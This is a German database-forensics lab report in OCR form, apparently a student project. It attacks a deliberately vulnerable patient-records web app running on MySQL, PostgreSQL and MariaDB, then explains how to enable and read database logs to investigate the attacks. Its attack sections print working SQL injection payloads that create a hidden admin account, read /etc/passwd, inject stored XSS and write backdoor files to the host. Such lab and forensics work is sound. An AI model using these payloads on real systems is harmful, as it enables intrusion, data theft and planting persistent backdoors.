Befehl: '; CREATE USER 'hOldmyb33r'@'%' IDENTIFIED BY 'Nobody'; GRANT ALL PRIVILEGES ON *.* TO
'hOldmyb33r'@'%'; FLUSH PRIVILEGES; --

&< ¢ A Nichtsicher ‘db2-forensik-hh10.ddns.net

& . 5
SQL Injection HH10

Patienten

' CREATE USER "hOldmyb33r'@'%' IDENTIFIED BY ‘Nobody’; GRANT ALL PRIVILEGES ON *.* TO *h0ldmyb33r'@'%"; FLUSH PRIVILEGES; --

Befehl: ' UNION SELECT user, 2, 3, 4 FROM mysql.user; --

= C A Nichtsicher db2-forensik-hh10.ddns.net

> Y B
SQL Injection HH10

Patienten
UNION SELECT user, 2, 3, 4 FROM mysql‘user: --
Nachname Vorname Geburtsdatum Krankenkasse
hOldmyb33r 2 3 4
root 2 3 4
mariadb.sys 2 3 4

Der neue Benutzer wurde erfolgreich mit administrativen Berechtigungen in MariaDB erstellt.

Das Loschen des Benutzers ,,hOldmyb33r” und die Validierung des Léschvorgangs findet wie folgt
statt:

Befehl: '; DELETE FROM “mysql’."user WHERE "User'='hOldmyb33r'; FLUSH PRIVILEGES; --

& > C A Nichtsicher ‘db2-forensik-hh10.ddns.net 2 1 s B

SQL Injection HH10

Patienten
UNION SELECT user, 2, 3, 4 FROM mysql.user; --
Nachname Vername Geburtsdatum Krankenkasse
root 2 3 4
mariadb.sys 2 3 4

Der Benutzer “hOldmyb33r” wurde aus MariaDB gel6scht.
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4.5 Anderung am Filesystem

Wenn ein Angreifer Zugriff auf das Filesystem besitzt, kénnen Dateien und Inhalte ausgelesen,
kopiert oder eingeschleust werden.

4.5.1 MysQL

Mithilfe der bereits beschriebenen Anpassungen der Variable secure_file_priv konnte die Datei
passwd erfolgreich ausgelesen werden:

Befehl: asd ' UNION SELECT 1, 2, 3, LOAD_FILE('/etc/passwd');--

Patienten
asd ' UNION SELECT 1, 2, 3, LOAD?FILE(',-’etc,“passwd');f—

Nachname Vorname Geburtsdatum Krankenkasse

1 2 3 rootx:0:0:rooty/root/bin/bash daemon:ix:1:1:daemon:/usr/sbin:/usr/sbin/nologin binx:2:2:bin:/bin:/usr/sbin
/nologin sysx:3:3:sys:;/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr
/games:/usr/sbin/nologin man::6:12:man:/var/cache/man:/usr/sbin/nologin Ipx7:7:Ip:/var/spool/lpd:/usr
/sbin/nelogin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin newsx:9:9:news:/var/spool/news:/usr/shin/nologin
uucp:¢10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-
datamx:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:3%:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbhin/nologin _aptx:100:65534::/nonexistent:/usr/sbin
/nologin mysgl:x:999:999::/home/mysql:/bin/sh
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4.5.2 PostgreSQL
Wie bereits beschrieben wird bei PostgreSQL der Dateizugriff Giber den COPY-Befehl realisiert.

Lesezugriff auf das Dateisystem:

Befehl: '; select * from pg_Is_dir("."); --

Impfungsort
', select * from pg_ls_dir(’."); --
Ort Wo Adresse Hausnummer PLZ

pg_subtrans
pg_serial
postmaster.pid
pg_stat

pg_stat_tmp

Nun wird, wie im Beispiel die Datei ,passwd” kopiert. Daflir muss zuerst eine Hilfstabelle erstellt
werden, in welche dann die Daten hineinkopiert werden.

Befehl: '; CREATE TABLE mydata(mydata text); COPY mydata FROM '/etc/passwd'; SELECT * FROM
mydata; ; --.'

', CREATE TABLE mydata(mydata text); COPY mydata FROM '/etc/passwd’; SELECT * FROM mydata; ; --.'
Ort Wo Adresse Hausnummer PLZ

root:x:0:0:root:/root:/bin/bash
daemonieT:Tidaemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:biny/bin:/usr/sbin/nologin
sysx:3:3isys/devi/usr/sbin/nologin
sync:x:4:65534:syncy/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/shin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

|px7:7:lp:fvar/spool/lpd:/usr/shin/nologin

Die Tabelle wurde erfolgreich erstellt und die Inhalte der Datei passwd wurden in die Tabelle kopiert.
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4.5.3 MariaDB (Cloud)

Durch die Veranderung der Variable <secure_file_priv>, analog zu den Einstellungsanderungen bei
MySQL, konnte ebenfalls in MariaDB die Datei /etc/passwd aufgerufen werden:

Befehl: asd ' UNION SELECT 1, 2, 3, LOAD_FILE('/etc/passwd');--

&« c 'db2-forensik-hh10.ddns.net

2 -
SQL Injection HH10

Patienten

"UNION SELECT 1, 2, 3, LOAD_FILE( fetc/passwd’);—

Nachname Vorname Geburtsdatum Krankenkasse

1 2 3 root:x:0:0:root:/root/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/shin/nologin
binze2:2:bin:/bin:/usr/sbin/nologin sysxe3:3:sys:/dev:/usr/sbin/nologin syncx:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/shin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nclogin
Ipx7:7:1p:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-
Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_aptx:100:65534:/nonexistent:/usr/sbin/nelogin mysql:x:999:999::/heme/mysql:/bin/sh

Der Inhalt der Datei “/etc/passwd” ist Uber den Injection Befehl ermittelt.
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4.6 Einschleusen von beliebigem Code

Das Einschleusen von Programmcode konnte im Beispiel dargestellt werden. Auch in unserer
Umgebung haben wir dafiir die HTML-Datei ,Patienten” mit dem zusatzlichen Code {{ search|safe }}

versehen. Somit ist das Autoescaping flr das Suchformular deaktiviert.
3 {* block page_title %}Patienten{%* endblock %}
4
& {% block page content %}
& {{ search|safe }}

[l <form method="get" action="/patienten">

= <div class="form-row":>
s O <div class="col-11">
10 <input name="search" value="{{ search }}" type="text" class="form-control" placeholder="Krankenkasse">
11 <fdivs
iz o <div class="col">
13 <putton type="submit" class="btn btn-primary">Suchen</bucton>
14 <fdivs
15 <fdive
16 </ form>

Wir zeigen anhand von verschiedenen Beispielen, dass es moglich ist, Programmcode wie ein Alert-
Script oder sogar eine Datei Giber die Datenbank auf das Host-System einzuschleusen.

4.6.1 MysQL

Genau wie in den Beispielen wird ein Alert mit dem Text: ,,Achtung, wir haben jetzt die Macht!“ in die
Tabelle Patienten eingefiigt.

Befehl: '; INSERT INTO Patienten VALUES (1,'<script>alert("Achtung, wir haben jetzt die
Macht!")</script>',3, 4); --

n] @ 127.0.0.1/patienten?search=%27%3B+INSERT+INTO+Patienten+VALUES +%281%2C%27 <script>alert%28"Achtung%2C+wir+haben+jetzt +die +Macht%21"... @ A

Auf 127.0.0.1 wird Falgendes angezeigt:

Achtung, wir haben jetzt die Macht!

Das Ergebnis ist der Alert mit dem zuvor angegebenen Text.

Neben dem Beispiel mit dem Alert-Script ist es ebenfalls moglich, eine Datei mit beliebigem Inhalt auf
das Host-System einzuschleusen. Dazu wird in den spitzen Klammern der Inhalt der Datei eingefligt
und mit einem into OUTFILE und dem Pfad die Datei auf das Host-System hochgeladen.

Befehl: ;' UNION SELECT 1,2,"<?php ICH BIN SUPER BOESER SCHADCODE>",3 into OUTFILE
'/var/lib/mysql/backdoor.php'; --
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Die SQL-Anweisung wird normal tiber das Formular angegeben:

0 @ 127.001/patienten P A » B =

n HH10 Tabelle ~ Tools ~

Patienten
;' UNION SELECT 1,2,"<?php ICH BIN SUPER BOESER SCHADCODE= "3 into QUTFILE ‘/var/lib/mysgl/backdoor.php’; --
Nachname Vorname Geburtsdatum Krankenkasse
Schwarz Christine 1984-05-03 actimonda
Baumann Genoveva 1970-04-17 AKA

AnschlieBend erhalten wir eine Meldung, dass kein return moglich ist.

sqglalchemy.exc.ResourceClosedError

sqlalchemy.exc.ResourceClosedError: This result object does not return rows. It has been closed automatically.

Traceback (most recent call last)

Nun wird im Pfad /var/lib/mysql Gberprift, ob die Datei backdoor.php erfolgreich angelegt wurde
und der Inhalt: ICH BIN EIN SUPER BOESER SCHADCODE dort enthalten ist.

Die Datei backdoor.php ist vorhanden und wurde erfolgreich angelegt.

Wie auf der Abbildung zu sehen ist, wurde der Inhalt aus der SQL-Anweisung korrekt Gbertragen und
die Datei backdoor.php samt Inhalt auf dem Host-System angelegt.

Somit hat ein Angreifer auch die Moglichkeit, Schadcode oder anderen Programmcode auf ein Ziel-
System einzuschleusen.
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4.6.2 PostgreSQL

Da in den Tabellen teilweise NOT NULL angegeben ist, muss der Befehl abgedndert werden. Ebenfalls
konnten wir Probleme feststellen, wenn Spalten eine Auswahlmdglichkeit (ENUM) besitzen.

In der Tabelle Impforganisation ist kein ENUM enthalten — Vorab wird der Inhalt (Spaltennamen) der
Tabellen gepriift, damit die Spalten korrekt befillt werden kdnnen:

Befehl: '; SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T
WHERE (C.relkind="r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid)
AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public'); --

Wie in Abschnitt 4.2.2 werden alle Tabellen und Spalten angezeigt.
Nun konnten wir die Spaltennamen der Tabelle Impforganisation in Erfahrung bringen:

- Impforganisation_id
- Organisation

- Adresse

- Hausnummer

- Pz

- Telefon

Aus den gewonnenen Informationen wird der Befehl angepasst — In der Spalte zwei (Organisation)
wird der Programmcode mit einem Alert eingefligt.

Befehl: '; insert into Impforganisation values (1234, '<script>alert("Wir haben eure Daten
gestohlen!")</script>', 'Tollestrasse', 2, 51103, 0); SELECT * FROM Impforganisation; --

[ @ 127.00.1/patienten?search=%27%38 +insert tinta +Impforganisation rvalues+%281234%2C + %27 <script>alert%28"Wir thaben + eure + Daten+ gestohlen%2... | B A

Auf 127.0.0.1 wird Folgendes angezeigt:

Wir haben eure Daten gestohlen!

Als Ergebnis wird wie erwartet das Popup-Fenster mit der Meldung angezeigt.

Ebenfalls soll auch in PostgreSQL der Versuch unternommen werden Schadcode tiber SQLi durch die
Datenbank direkt auf dem Betriebssystem in Form einer Datei abzulegen.

Hierzu wird folgender Befehl mit der COPY Anweisung konstruiert:

Befehl: '; COPY (SELECT 'Kostenloser Schadcode fuer alle') to '/var/lib/postgresgl/schadcode.sh'; ; --.
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Der Schadcode wird tiber die Anweisung im Formular eingeschleust:

Patienten
' COPY (SELECT 'Kostenloser Schadcode fuer alle’) to '/var/lib/postgresql/schadcode.sh’; ;--."
Nachname Vorname Geburtsdatum Krankenkasse
Schwarz Christine 1984-05-03 actimonda
Baumann Genoveva 1970-04-17 AKA
Schubert Klaus 1990-02-12 Audi BKK Ost

Eine Fehlermeldung wird nach dem Absetzen des Befehls angezeigt, die aufweist das keine
anzuzeigenden Zeilen nach dem Ausfiihren vorhanden sind und die Anweisung beendet wurde.

sglalchemy.exc.ResourceClosedError

sqlalchemy.exc.ResourceClosedError: This result object does not return rows. It has been closed automatically.

Um nun zu priifen, ob der Schadcode im System eingeschleust wurde, wird per CLI auf den
PostgreSQL Docker zugegriffen und dort wird nach der Datei schadocode.sh im Pfad
/var/lib/postgres/ gesucht.

root@752c1b91b181:/var/lib/postgresql# 11

total 20K

784621 4.0K drwxr-xr-x 1 postgres postgres 4.0K Feb 20 19:06 .
784620 8.0K drwxr-xr-x 1 root root 4.0K Feb 14 22:09 ..

560221 4.0K drwx 19 postgres postgres 4.0K Feb 20 18:45 data
784945 4.0K -rw-r--r-- 1 postgres postgres 32 Feb 20 19:06 schadcode.sh

root@/52c1b91b181:/var/Lib/postgresql# |

Die Datei ist vorhanden und es fehlt nur noch die Bestatigung, dass der Inhalt der Datei mit dem
eingegebenen Schadcode ,Kostenloser Schadcode fiir alle” identisch ist, wie im folgenden
Screenshot zu sehen ist:

root@752c1b91b181:/var/11b/postgresql# head schadcode.sh
Kostenloser Schadcode fuer alle

root@752c1b91b181:/var/1ib/postgresql# |

Somit konnte auf PostgreSQL erfolgreich Schadcode auf das Betriebssystem eingeschleust werden.
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4.6.3 MariaDB (Cloud)

Durch die Einschleusung des Parameters <script>alert("Hello Friend... You've been hacked!")</script>
in der Injection wird Giber die Abfrage ausflihrbarer Code eingeschleust:

Befehl: '; INSERT INTO Patienten VALUES (1,'<script>alert("Hello Friend... You've been
hacked!")</script>',3, 4); --

‘db2-forensik-hh10.ddns.net. = ¢

Auf db2-forensik-hh10.ddns.net wird Folgendes angezeigt:

Hello Friend... You've been hacked!

Im Ergebnis ist ein JavaScript Popup mit dem vormals eingegebenen Text zu sehen.

Wie in MySQL aufgezeigt, konnte ebenso auf der MariaDB Cloud Instanz liber die Weboberflache mit
SQL Injection direkt auf das zugrundeliegende Betriebssystem der Datenbank zugegriffen und eine
Dateioperation durchgefiihrt werden. Es ware somit moglich auch hier Schadcode einzuschleusen um
Datenmanipulationen, Kompromittierungen oder eine Persistenz des Angreifers mit einer ,Reverse
Shell” auf das Betriebssystem der Datenbank zu ermdoglichen.

Die SQL Injection kann wie folgt durchgefiihrt werden:

Befehl: ;' UNION SELECT "Some evil code to pwn your system","","","""" into OUTFILE
'/var/lib/mysql/evilcode.sh'; --

Patienten
;" UNION SELECT "Some evil code to pwn your System”,"","","","" into OUTFILE '/var/lib/mysql/evilcode.sh’; --
Nachname Vorname Geburtsdatum Krankenkasse
Schwarz Christine 1984-05-03 actimonda
Baumann Genoveva 1970-04-17 AKA

Es erscheint eine Fehlermeldung der ,sglalchemy” Engine die allerdings nur besagt, dass der
vorhergehende Befehl keine Zeilen zurlickgegeben hat und geschlossen wurde.

sqlalchemy.exc.ResourceClosedError

sqlalchemy.exc.ResourceClosedError: This result object does not return rows. It has been closed automatically.

Um zu verifizieren, ob die Datei ,evildocde.sh” mit dem vermeintlichen Schadcode erfolgreich auf
dem zugrundeliegenden Betriebssystem der Datenbankinstanz erstellt wurde, wird das
Zielverzeichnis /var/lib/mysql/ auf Vorhandensein der Datei untersucht.
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root@f9bb8bbbft939: /var/lib/mysql# 11

total 123344

drwxr-xr-x 6 mysql mysql 4096 Feb : S

root root 4096 Feb : .

mysql mysql 417792 Feb : aria_log.00000001

drwxr-xr-x 1
-rw-rw---- 1
-rw-rw---- 1 mysql mysql 52 Feb 3 aria_log control
-rw-rw---- 1 myvsal mysal 9 Feb : ddl_recovery.loa
-rw-r--r-- 1 mysql mysql 38 Feb : evilcode.sh
-rw-rw---- 1 mysql mysql 1516 Feb : 1b_buffer_pool
-rw-rw---- 1 mysgql mysql 100663296 Feb 3 1b_logfile0d
-rw-rw---- 1 mysql mysql 12582912 Feb 3 ibdatal
-rw-rw---- 1 mysgql mysql 12582912 Feb : ibtmp1l
2 mysql mysql 4096 Feb : impfung/
1 mysql mysql 0 Feb : multi-master. info
mysql mysql 4096 Feb : mysql/
mysql mysql 4096 Feb : performance_schema/
mysql mysql 12288 Feb : sys/
root@f9bb8bbbf939: /var/1ib/mysql# |

Durch Anzeigen des Inhalts der Datei , evilcode.sh” kann des Weiteren bestétigt werden, dass der
Schadcode ,,Some evil code to pwn your system” korrekt in die Datei geschrieben wurde.

root@f9bb8bbbf939: /var/lib/mysql# more evilcode.sh
Some evil code to pwn your system
root@f9bb8bbbf939: /var/lib/mysqli# |
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5. Aufarbeitung und forensische Auswertung

In der forensischen Auswertung werden nicht nur Daten in einem DBMS selbst untersucht, sondern
auch Daten, welche auf dem System/Server oder in anderen Programmen selbst hinterlassen wurden.
Bei Angriffen, bei denen keine Daten verdndert, hinzugefligt oder geldéscht werden, ist die
Nachvollziehbarkeit solcher Angriffe in einem DBMS kaum bis gar nicht moglich. Besonders beim
Ausspdhen von Daten werden keine Daten verandert/hinzugefiigt oder geldscht. Um auch solche
Angriffe erkennen zu kénnen, gibt es Wege und Moglichkeiten diese auch im Nachhinein untersuchen
zu kénnen. Wir zeigen dabei einmal auf, wie die Datenbankprotokolle im Nachhinein aktiviert werden
(MySQL und PostgreSQL) und einmal, wie die Protokolle vorab in der YAML-Datei vor der Docker-
Installation am Beispiel von MariaDB aktiviert werden.

In dieser Ausarbeitung stellen wir folgende Mdéglichkeiten der forensischen Auswertung vor:

- Webserverprotokolle

- Datenbankprotokolle

- Datenbankausfiuhrungsplane
- Transaktionsprotokolle

5.1 Webserverprotokolle

In der Docker-Umgebung von Herrn Hauser kdnnen alle SQL-Anweisungen aus dem Log der Python
App entnommen werden. Innerhalb der Docker-Umgebung werden die verfligbaren und laufenden
Container angezeigt. Uber den Container kann auf die Webserverprotokolle zugegriffen werden.

@ docker Upgrade % % O sein
& Containers/Apps Q_ search Sort by v

& Images sglinjectiondemov11
EXITED (UNDEFINED)

Volumes

sglinjectionhh10-v4
EXITED (UNDEFINED)

@ Dev Environments (I

sqlinjectionhh10-v5
RUNNING

©
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Aus den Webserverprotokollen ist zu entnehmen, dass alle SQL-Anweisungen in der Docker-
Umgebung als GET-Parameter versendet wurden.

Zusatzlich zu den genauen SQL-Anweisungen kdnnen auch die IP-Adresse sowie ein Zeitstempel aus
den Logs entnommen werden. Dabei handelt es sich um so genannte Meta-Daten. Anhand dieser
Meta-Daten kann ein Angriff naher eingrenzt werden.

/impfungsort2sear

/impfungsort?

CT+++FROM+hilfstabelles3B+—

Die Uberpriifung von Log-Dateien zeigt aber nicht nur vergangene SQL-Anweisungen, sondern
offenbart auch, ob ein Datenabfluss stattgefunden hat. An welche Daten konnte der Angreifer
gelangen und mit welchen SQL-Anweisungen wurde das System kompromittiert? Anhand dieser Logs
kénnen somit auch Schwachstellen am eigenen System entdeckt und beseitigt werden.
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5.2 Datenbankprotokolle

Um mogliche Angriffe auf ein DBMS nachvollziehen zu kbénnen, verfigen die
Datenbankmanagementsysteme dhnlich wie der Webserver Uber eigene Protokolle (Logfiles). In
diesen Logfiles werden u.a. SQL-Anweisungen aufgezeichnet. Der Vorteil gegeniber der
Webserverprotokolle liegt auf der Hand — Wahrend der Webserver neben den Anweisungen auch viele
anderen Daten protokolliert, werden in den Logfiles der DBMS Anderungen der Datenbank und der
Daten selbst gespeichert. Je nach DBMS kénnen Anweisungen (Querys) und Fehler (Errors) getrennt
protokolliert werden.

Im Standard sind sowohl in den Datenbanktypen PostgreSQL als auch MySQL und MariaDB
ausschlieBlich Protokolle im Binarformat aktiv. In diesen Protokollen werden sdamtliche
Datenbankdanderungen sowohl an den Daten selbst, als auch an der Datenbankstruktur mit den
entsprechenden Metadaten geschrieben.

Diese Protokolle (auch Undo- und Redo- oder Replikationslogs genannt) haben den Zweck die
Datenbank auf andere Instanzen zu replizieren, Wiederherstellungen zu erméglichen oder bestimmte
Anderungen an der Datenbank nachvollziehbar zu machen. Somit sind diese u.a. auch ausgezeichnet
dafiir geeignet samtliche Anderungen an der Datenbank forensisch nachzuvollziehen.

Da diese Protokolle im Standard im Binarformat abgelegt werden, konnen die Protokolle auch nur im
jeweiligen Datenbankkontext, mit entsprechenden speziellen Tools auf den Datenbank-Hostsystemen
(mysqglbinlog, pg_xlogdump, etc.) oder mit Drittanbietertools (DB-Visualizer, xways) ausgelesen
werden.

Um den Zugriff auf diese Protokolle zu gewadhrleisten und diese lesbar zu machen, werden im
Folgenden Anpassungen durchgefiihrt und aufgezeigt, wie diese Logfiles in den jeweiligen Docker-
Containern aktiviert werden. Anschliefend wird aufgezeigt, wo sich die Logfiles befinden, und zum
Abschluss werden die Logfiles auf mogliche Angriffe untersucht.
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5.2.1 Datenbankprotokolle MySQL

In MySQL wird in im weiteren Verlauf das “general Logfile” aktiviert. Dies ist eine exakte lesbare Kopie
des binaren Logfiles. In der Regel wird dies nur kurzzeitig dann aktiviert, wenn Priifungen oder Fehler
analysiert werden sollen, da dies zu Performanz-Auslastungen fiihren kann.

Um die Logfiles in MySQL auslesen und abrufen zu kdnnen, muss zuerst (iber den Container die CLI als
Bash gestartet werden.

AnschlieBend wird die Datei mysgl.log im Verzeichnis /var/log angelegt und fir den User mysq|
berechtigt.

Mit einer anschlieBenden Uberpriifung der Berechtigungen wird sichergestellt, dass der User mysq|l
nun Schreibrechte auf die neu erstellte mysql.log Datei besitzt.

Die CLI des MySQL-Containers wird erneut ge6ffnet — Jetzt erfolgt die Anmeldung an Benutzer mysql.

Damit das Logging in MySQL aktiviert wird, muss vorab noch der Pfad des Logfiles angegeben werden.

a

Anschliefend wird der Parameter auf ,on’ gesetzt.

Befehl 1: SET global general_log_file='/var/log/mysql.log';
Befehl 2: SET global log_output = 'file';

Befehl 3: SET global general_log = on;
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Nun ist das ,,general logging” fiir MySQL aktiviert und kann fiir die Verfolgung oder Sichtung von
moglichen Angriffen eingesehen werden.

Wie dem Logfile zu entnehmen ist, werden neben den Anweisungen auch die Meta-Daten der
Angriffe gespeichert.
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5.2.2 Datenbankprotokolle PostgreSQL

Analog zu MySQL findet in PostgreSQL das sog. WAL (Write-Ahead-Logging) statt. Es handelt sich
hierbei um ein Verfahren des Datenbanksystems um Atomaritdit und Dauerhaftigkeit von
Transaktionen zu gewahrleisten. Samtliche Modifikationen sowohl an den Daten als auch an der
Architektur der Datenbank werden, bevor diese festgeschrieben (commited) werden, protokolliert.

Die WAL Logs sind ebenfalls im Bindarformat vorhanden und im Standard aktiv. Es sind jedoch noch
weitere MalRnahmen in PostgreSQL erforderlich um Inhalte dieser Protokolle abrufen und lesen zu
kénnen. Hierzu miissen ebenfalls wie bei MySQL erst einmal einige Anderungen vorgenommen
werden. Dafir wird wie folgt vorgegangen:

Die CLI des PostgreSQL-Containers 6ffnen und die Bash aktivieren. AnschlieBend zur Datei
/var/lib/postgresql/data/postgresql.conf navigieren.

Da kein Editor in der Umgebung installiert ist, wird zuerst noch die VIM installiert. Anschliefend kann
die Datei mit dem VIM angepasst werden.

In der Datei postgresql.conf im Bereich REPORTING & LOGGING missen folgende Parameter angepasst
werden:

log_statement = ‘all'

log_directory = 'pg_log'

log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on

log_min_error_statement = error

Die Anderungen werden gespeichert und der Editor wieder geschlossen.
Werden nun SQL-Anweisungen durchgefiihrt, so werden verschiedene weitere Logfiles angelegt. Diese
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werden wie in den Parametern mit dem Dateinamen postgresql-%Y-%m-%d_%H%M%S.log angelegt
und kénnen jederzeit Gberprift werden.

Im Dateipfad /vat/lib/postgresql/data/logs werden mit Is -l alle enthaltenden Dateien angezeigt.

Mi dem Befehl cat Dateiname wird der Inhalt der Datei in der Konsole angezeigt:

Auch hier werden Meta-Daten wie Uhrzeit und Datum der jeweiligen SQL-Anweisungen angezeigt.
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5.2.3 Datenbankprotokolle MariaDB (Cloud)

Wie bereits im Abschnitt zur Installation und Einrichtung der Datenbankinstanz MariaDB in der Cloud
aufgefihrt wurde, wurde eine andere Vorgehensweise gewahlt, um die Datenbankprotokolle einsehen
zu kénnen.

Da im Standard die Datenbankprotokolle im Container nicht aktiv waren, musste die
Serverkonfigurationsdatei der MariaDB Instanz, welche aus dem Container auf das Host-
Betriebssystem gemappt wurde, angepasst werden. Hierbei handelt es sich um folgende Datei im
Container:

/etc/mysql/mariadb.conf.d/50-server.cnf

In der Konfigurationsdatei wurden folgende Parameter fiir die Protokollierung angepasst:

general_log_file = /var/log/mysql/mysql.log
general_log=1

log_error = /var/log/mysql/error.log
slow_query_log_file = /var/log/mysql/mariadb-slow.log

log_bin = /var/log/mysql/mysql-bin.log

general_log_file = /var/log/mysql/mysql.log
general_log =1

log_error = /var/log/mysql/ .log

slow_query_log_file = /var/log/mysql/mariadb-slow.log

log_bin = /var/log/mysql/mysql-bin.log
expire_logs_days =10

Das ,general_log” ist ein sehr ausfiihrliches Transaktionsprotokoll, welches dazu angedacht ist zu
Testzwecken und fiir kurze Zeit aktiviert zu werden. Dies dient der Ermittlung von Fehlern und
Auffalligkeiten. Es ist uniblich dies in der reguldren Laufzeit aktiviert zu lassen, da das ,general_log”
sehr zu Lasten der Datenbankperformance geht.
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Mit folgendem Befehl |4sst sich das Log aufrufen und jede Anderung kann in Echtzeit nachvollzogen
werden:

Befehl: tail -f mysql.log

root@db2-forens ik-hh10: /home/ubuntu/containers/db_data/volumes/containers_mariadb-log/_data# tail -f mysql.log
7 Quer rollback
8 Query  rollback
8 Quit
Connect root@ on impfung using TCP/IP
SET NAMES ‘utf8mbd' COLLATE ‘utf8mbd_general_ci'
SET NAMES utfSmb4
set autocommit=0
SELECT p.Nachname, p.Vorname, p.Geburtsdatum, k.KV_Name FROM Patienten p LEFT JOIN Krankenversicherung Krankenversicherung Nummer WHERE k.KV_Name
KV_Name
3 15:45:09 Connect root@ 54.158 on using TCP/IP

Connect for user 'root'@ ' (using passw

54.15 : NO)
Query  SELECT p.Nachname, p.Vorname, p.Geburtsdatum, k.KV_Name FROM Patienten p LEFT JOIN Krankenversicherung Krankenversicherung Nummer WHERE k.KV_Name

K.KV_Name
16:19:58 7 Query  SELECT p.Nachname, p.Vorname, p.Geburtsdatum, k.KV_Name FROM Patienten p LEFT JOIN Krankenversicherung Krankenversicherung Nummer WHERE k.KV_Name
K. KV_Name
16:20:01 4 Connect root@ on impfung using TCP/IP

Qu SET NAMES 'utfBmb4' COLLATE 'utf8mbd_general_ci'

SET NAMES utf8mbd
set autocommit=0
2 SELECT p.Nachname, p.Vorname, p.Geburtsdatum, k.KV_Name FROM Patienten p LEFT JOIN Krankenversicherung r sicherung Nummer WHERE k.KV_Name LIKE '

ORDER BY k.KV_Name
220218 16:20: Connect  root@i7: on impfung using TCP/IP
Query  SET NAMES ‘utf8mbd’' COLLATE ‘utf8mbd_general_ci'
Query  SET NAMES utf8mbd
Query set autocommit=0

25 Query  SELECT p.Nachname, p.Vorname, p.Geburtsdatum, k.KV_Name FROM Patienten p LEFT JOIN Krankenversicherung Krankenversicherung Nummer WHERE k.KV_Name LIKE '
%' ORDER BY k.KV_Name

Wie im ,general_log” ersichtlich ist werden u.a. Anweisungen und Metadaten aufgefiihrt.

Das Error Log zeigt jegliche Fehler (Zugriffsfehler, Transaktionsfehler, Kommunikationsabbriiche, etc.)
an die beim Zugriff oder bei der Ausfiihrung von Transaktionen aufgekommen sind. Mit folgendem
Befehl kénnen die Error Logs in Echtzeit nachvollzogen werden:

Befehl: tail -f error.log

root@db2-forensik-hh10: /home/ubuntu/containers/db_data/volumes/containers_mariadb-log/_data# tail -f .log
2022-02-18 15 sqld: ready for connections
) 0.6.5+marta~focal-log' socket: '/run/mysqld/mysqld.sock’' port: 3306 mariadb.org binary distribution
3] Aborted connection 6 to db: 'impfung’' user: 'ro : (Got reading communication packets)
arning] Aborted connection 5 to db: 'impfung' user: ' g (Got reading communication packets)
Aborted connection 8 to db: 'impfung' user: £ (Got reading communication packets)

ted connection 16 to db: 'impfung' user: st: ' (Got an reading communication packets)
ed connection 17 to db: 'impfung' us A (Got an ding communication packets)
ted connection 21 to db: 'unconnected unauthenticated' host: ' (This conne L d normally without authenticati
for user 'root'@ (using password: 10)
Aborted connection 23 to db: ' ed' er: ‘unauthenticated’ host: ' * (This conne c ed normally without authentication)

Im Error Log werden ebenfalls Informationen zu den aufgetretenen Fehlern mit entsprechenden
Metadaten aufgefiihrt.

Das MariaDB ,Slow Log” Protokoll ist konzipiert, um Transaktionen zu protokollieren die sehr hohe
Laufzeiten verursachen.

Das Protokoll wird erst dann angelegt, wenn solche Transaktionen in der Datenbankinstanz
durchgefihrt werden.

AbschlieBend das ,Bin Log”, welches im Bindrformat gespeichert wird. Dies dient flir Sicherungs-,
Wiederherstellungs- und Replikationszwecke, kann aber auch fiir forensische Analysen herangezogen
werden.
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5.3 Datenbankausfiihrungsplane

Sobald eine SQL-Anweisung in einem Datenbankmanagementsystem abgesetzt wird, findet im
Hintergrund ein Abarbeiten der jeweiligen Anweisung statt. Die Anweisung wird zwar in der Regel in
einem Statement abgesetzt, das DBMS generiert anhand dieser Anweisung jedoch einzelne Schritte,
um die Anweisung so effizient wie moglich abzuarbeiten und die Informationen zur Verfiigung zu
stellen.

Das Prinzip des Datenbankausfiihrungsplans kann grob gesagt mit einem Kuchen-Rezept verglichen
werden — Mit der SQL-Anweisung ,Schokoladenkuchen mit Kirschen und Sahne” wird eine
Zubereitungsliste erstellt und anhand dieser Liste werden die Schritte der Zubereitung einzeln
abgearbeitet. Als Ergebnis folgt ein fertiger Schokoladenkuchen mit Kirschen und Sahne.

Ein Datenbankausfihrungsplan gibt darlber Aufschluss, welche Indizes benutzt werden und in welcher
Reihenfolge das DBMS auf die Tabellen zugreift. Vor allem gibt der Ausfiihrungsplan aber Aufschluss,
welche Algorithmen fiir die verschiedenen Join-, Sortier- und Gruppier-Operationen zum Zuge
kommen.

Fir die forensische Auswertung ist der Datenbankausfiihrungsplan vor allem dann interessant, wenn
SQL-Anweisungen von Angriffen besser nachvollzogen werden sollen. SQL-Anweisungen kdnnen sehr
komplex und vor allem sehr verschachtelt sein. Um diese Anweisungen besser tGberprifen zu konnen,
